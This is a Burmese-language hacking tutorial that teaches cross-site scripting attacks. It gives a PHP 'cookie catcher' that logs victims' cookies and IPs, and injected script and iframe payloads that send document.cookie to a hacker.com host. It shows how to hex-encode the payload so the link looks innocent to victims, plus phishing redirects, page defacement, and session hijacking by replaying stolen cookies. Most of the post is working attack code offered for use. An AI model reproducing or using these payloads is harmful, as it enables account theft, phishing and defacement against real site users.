XSS Overview Part 2 : Types of Attacking Techniques

Types of Attacking Techniques
1.Cookies Stealing
2.XSS Phishing
3.XSS Defacement
4.XSS worm
5.Session Hijacking
1.Cookies Stealing
ပထမဆံုး Cookies Stealing လုပ္ဖို႕အဓိကလိုအပ္ေသာ Cookies Catcher အေၾကာင္း အနည္းငယ္ေျပာပါမယ္ ေနာက္ပို႕စ္မွာ Cookies Catcher အေၾကာင္း အေသးစိတ္ေရးေပးပါ့မယ္ Cookies Catcher ဆိုတာ Cookies Stealing လုပ္ရန္ စီစဥ္ထားေသာ php file ျဖစ္ျပီး ယင္း php file မွ catch လုပ္၍ရေသာ Cookies မ်ားကို .txt file ကဲ့ေသာ ေနရာတြင္ Cookies Stole လုပ္ထားမည္ျဖစ္ပါသည္Code
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$date=date(“j F, Y, g:i a”);;
$refere$_SERVER['HTTP_REFERER'];
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Website: '.$referer.'
');
fclose($fp);
header (\"javascript:history.back()\");
?ဒီဖိုင္ကို .php န႕ဲသိမ္းျပီး PHP Script လက္ခံေသာ Hosting တစ္ခုတြင္ တင္ထားႏိုင္သည္ ဥပမာwww.my3gb.com/cookiescatcher.php ေပါ့ Cookies Catcher မွ သိမ္းဆည္းရရွိေသာ Cookies မ်ားကိုေတာ့cookies.html ဆိုတဲ့ ဖုိင္မွာသြားၾကည့္ႏုိင္ပါတယ္
Persistent Cookies Stealing
ပထမဆံုး Vulnerabilities ရွာပါ့မယ္ www.target.com/feedback ေပါ့ Input လုပ္ခြင့္ရွိေသာ Comment Box လိုေနရာမ်ိဳးမွာ<script>alert(“XSS”)</script>
အကယ္၍မ်ား Alert Box တက္လာလွ်င္ Vulnerabilities ျဖစ္ပါျပီ ဒါေၾကာင့္ Code Inject လုပ္ခြင့္ရွိပါျပီ ေရွ႕မွာေျပာခဲ့ဖူးပါတယ္ Persistent XSS မွာ Inject လုပ္တဲ့ Code ေတြကို Web Server ထဲမွာသြားေရာက္သိမ္းဆည္းထားပါတယ္ ဒါေၾကာင့္
<script>document.location="www.hacker.com/cookie catcher.php?c=" + document.cookie</script> ဆိုျပီး Code Inject လုပ္ျပီး Submit လုပ္လိုက္ပါ့မယ္ cookie catcher.php ဆိုတဲ့ ဖုိင္ကိုသြားခ်ိတ္ထားတာပါ အကယ္၍ အျခား User က www.target.com/feedback ဆိုတဲ့ Page ကို၀င္တာနဲ႕ ခုနက Code ဟာ အလုပ္လုပ္ျပီး User ရဲ႕Cookies ကို cookie catcher က သိမ္းယူျပီးေတာ့ Page တစ္ခုခုကို ျပန္ ပို႕ေပးလိုက္ပါတယ္ ( ဥပမာ indexလိုေနရာမ်ိဳး သို႕မဟုတ္ ေနာက္ဆံုးေရာက္ရွိေသာ Page လိုေနရာမ်ိဳးကိုေပါ့ )
ဒါဆုိ User ရဲ႕ Cookiesကိုရရွိျပီး Access လုပ္ႏိုင္ပါျပီ
အျခားေသာ နည္းတစ္နည္းလည္းရွိပါေသးတယ္ iframe tagကိုသံုးျပီး Inject လုပ္မယ္ဆုိရင္လည္း ျဖစ္ႏုိင္ပါတယ္ ခုနကလို Feedback Page မွာ<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.hacker.com/cookie catcher.php?c=" + document.cookie)</iframe>ဒီလိုတင္ေပးျပီး အျခား User စိတ္၀င္စားမယ့္ ေခါင္းစဥ္တစ္ခုခုနဲ႕တင္လုိက္လို႕ Userတစ္ေယာက္၀င္တာနဲ႕ အဲ့ဒီ့ User ရဲ႕ Cookies ကို Cookies Catcher က သိမ္းဆည္းသြားမွာျဖစ္ပါတယ္
Non-persistent Cookies Stealing Attack
ပထမဆံုး Vuln ျဖစ္မျဖစ္စမ္းပါ့မယ္ ( www.site.com ) Search Box မွာ <script>alert(“XSS”)</script> လို႕ Input လုပ္ပါ့မယ္ ( ဒီလိုဆို၇င္ Browser Link မွာ www.site.com/search?q=<script>alert(“XSS”)</script>ဆိုျပီး Request လုပ္တာေတြ႕ရမွာပါ တကယ္လို႕ hacker လို႕ Search Box မွာရွာရင္လည္း www.site.com/search?q=hacker ဆိုျပီး Request လုပ္မွာပါပဲ )
ဒါဆို Cookies Steal လုပ္ဖို႕စီစဥ္ရပါ့မယ္ ( ဒီ Non-persistent မွာ Script ကို Store လုပ္ထားမွာမဟုတ္တဲ့အတြက္Cookies Catcher Link ကုိ User ႏွိပ္ေအာင္ျမဴဆြယ္ရပါ့မယ္ )<script>document.location="www.hacker.com/cookie catcher.php?c=" + document.cookie</script>ဒီလို Inject လုပ္ပါ့မယ္ ဒါဆုိ www.site.com/search?q=<script>document.location="www.hacker.com/cookie catcher.php?c=" + document.cookie</script> ဆိုျပီး Inject လုပ္ပါ့မယ္ တကယ္လို႕ မည္သည့္ User မဆို အဲ့ဒီ့ လင့္ခ္ကို Request လုပ္တာနဲ႕ cookies Catcher က Cookies သိမ္းယူမွာျဖစ္ပါတယ္ သို႕ေသာ္လည္း ဒီလိုၾကီး တင္ျပီးRequest လုပ္ဖို႕ ျမဴဆြယ္ရင္ မည္သည့္ User မဆို သံသယျဖစ္မွာပါ ဒါေၾကာင့္ ေနာက္က script ကို ဖြက္ရပါမယ္ ဒီလိုဖြက္ဖို႕အတြက္ script code ကို Url ကို encode လုပ္ရပါ့မယ္ ပထမဆံုး www.hacker.com/cookie catcher.php?c= ကို Javascript string.from Charcode ေျပာင္းပါ့မယ္ ဒါဆုိ119, 119, 119, 46, 104, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 99, 111, 111, 107, 105, 101, 32, 99, 97, 116, 99, 104, 101, 114, 46, 112, 104, 112, 63, 99, 61
လိုရပါ့မယ္ ဒါဆုိရင္
www.site.com/search?q=<script>document.location=”119, 119, 119, 46, 104, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 99, 111, 111, 107, 105, 101, 32, 99, 97, 116, 99, 104, 101, 114, 46, 112, 104, 112, 63, 99, 61″ + document.cookie</script>
ဒီလုိျဖစ္သြားပါ့မယ္ ထပ္ျပီး script ကို ascii to hex ေျပာငး္ပါ့မယ္ ( <script>document.location=”119, 119, 119, 46, 104, 97, 99, 107, 101, 114, 46, 99, 111, 109, 47, 99, 111, 111, 107, 105, 101, 32, 99, 97, 116, 99, 104, 101, 114, 46, 112, 104, 112, 63, 99, 61″ + document.cookie</script ) ကိုေပါ့ေနာ္
ဒါဆုိ
www.site.com/search?q=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%22%31%31%39%2c%20%31%31%39%2c%20%31%31%39%2c%20%34%36%2c%20%31%30%34%2c%20%39%37%2c%20%39%39%2c%20%31%30%37%2c%20%31%30%31%2c%20%31%31%34%2c%20%34%36%2c%20%39%39%2c%20%31%31%31%2c%20%31%30%39%2c%20%34%37%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%31%30%35%2c%20%31%30%31%2c%20%33%32%2c%20%39%39%2c%20%39%37%2c%20%31%31%36%2c%20%39%39%2c%20%31%30%34%2c%20%31%30%31%2c%20%31%31%34%2c%20%34%36%2c%20%31%31%32%2c%20%31%30%34%2c%20%31%31%32%2c%20%36%33%2c%20%39%39%2c%20%36%31%22%20%2b%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
လိုျဖစ္သြားျပီး User က ဘာလင့္ခ္မွန္းမသိဘဲ Request လုပ္တာနဲ႕ Cookies Catcher က သိမ္းယူသြားပါျပိ
2.XSS Phishing
XSS Phishing မွာေတာ့ Persistent Method မွာေပါက္တဲ့ Link မွာ<script>window.location="http://hacker.com/phishing.html";</script> လို႕ရိုက္သြင္းလိုက္တာနဲ႕ အဲ့ဒီ့လင့္ခ္ကိုသြားရင္ Phishing Page တက္လာမွာျဖစ္ပါတယ္ N0n-Persistant Attack မွာလည္း ယင္း Script နဲ႕ပဲ Url Encode လုပ္ျပီး Attack လုပ္ႏုိင္ပါတယ္
3.XSS Defacement
ဒါကလည္း ခုနက နဲ႕သိပ္မထူးပါဘူး Persistant မွာ <script>window.location="*http://yourdefacepage.com/index.html";</script> လို႕ Inject လုပ္ျပီး Non-Persistant မွာေတာ့ Link Encode လုပ္ျပီး Deface လုပ္ႏိုင္ပါတယ္ တျခားနည္းတနည္းလည္းရွိပါတယ္ အဲ့ဒီ့နည္းကေတာ့ <script>document.body.bgColor="black";</script> ဆိုတဲ့ Script နဲ႕ Website ရဲ႕ Background Colour ကို ခ်ိန္ုးျပီးေတာ့ <script>document.body.background="http://hacker.com/hacked.jpg";</script> ဆိုျပီး Imageတင္လို္က္တာပါပဲ
4.XSS Worm
Advanced Technique ျဖစ္ျပီး အခ်ိန္ယူေလ့လာရမွာျဖစ္ပါတယ္ ဒီ မွာေတာ့ အနည္းအက်ဥ္းပဲေရးႏုိင္လိုက္ပါတယ္ ေနာက္ေတာ့ ဒီ့ထက္ပိုျပီး ေရးႏုိင္ေအာင္ၾကိဳးစားေနပါတယ္
XSS Worm ဟာ XSS Vulnerabilities ေတြထဲမွာ အဆိုး၀ါးဆံုးနဲ႕အထိခုိက္ဆံုး တိုက္ခိုက္မႈျဖစ္ပါတယ္ wormေတြအျပင္ Trojan ေတြ Bot ေတြပါ ကူးစက္လာႏုိင္ေစပါတယ္
ကြၽန္ေတာ္တုိ႕ Internet သံုးခ်ိန္ေတြမွာ Browserေတြဟာ script ေတြကို Download လုပ္ေနပါတယ္ ယင္း script မ်ားမွ တစ္ဆင့္ Javascript Wormမ်ားကူးစက္လာႏုိင္ေစပါတယ္ XSS ေပါက္ေနတဲ့ဆိုဒ္တစ္ခုကေန File တစ္ခုုခုကို Download ခ်ခိုင္းလို႕ ခ်လိုက္ရင္လည္း Trojan ေတြ Bot ေတြကူးစက္လာႏုိင္ပါတယ္
5.Session Hijacking
ကဲ ကၽြန္ေတာ္တို႕မွာ cookies ေတြရျပီဆိုပါစို႕ ဒါဆုိ အဲ့ဒီ့ cookies ေတြကို accessလုပ္ရပါမယ္ ဒီေတာ့ ကၽြန္ေတာ္တုိ႕ Browser ေတြကို အရင္ဆံုး Cookiesေတြအကုန္ရွင္းပစ္ရပါ့မယ္ ျပီးရင္ cookies.html ကိုသြားျပီး အကုန္ Copy ကူးခဲ့ပါ့မယ္ ျပီးရင္ Vul ျဖစ္ေနတဲ့ဆုိဒ္ကိုသြားျပီး
Javascript:void(document.cookie="") ဆိုျပီး access လုပ္ႏုိင္ပါျပီဥပမာJavascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")အဲ့ဒီလို Request လုပ္လိုက္တာနဲ႕ Cookies ကုိ Catach လုပ္ခံထားရတဲ့ user ရဲ႕ Panel ထဲေရာက္သြားပါျပီ အကယ္၍မ်ား admin account သာရလိုက္ရင္ ..
Ref : SirGod : Web Application Attacks
XSS attack Ebook
Hack Community အခုဟာကေတာ့ က်ယ္ျပန္႕လွေသာ XSS မွာ အတိုခ်ံဳးျပီးေရးေပးထားတာပါ ေနာက္ပိုင္းမွာ XSSကာကြယ္နည္းေတြ အပါအ၀င္ ယင္း filter မ်ားကို ေက်ာ္ခြနည္းေတြပါ ေရးေပးပါ့မယ္ ေက်းဇူးတင္ပါတယ္ XSS Tutotial အစအဆံုးကို PDF နဲ႕ေဒါင္းခ်င္ရင္ Click here to Download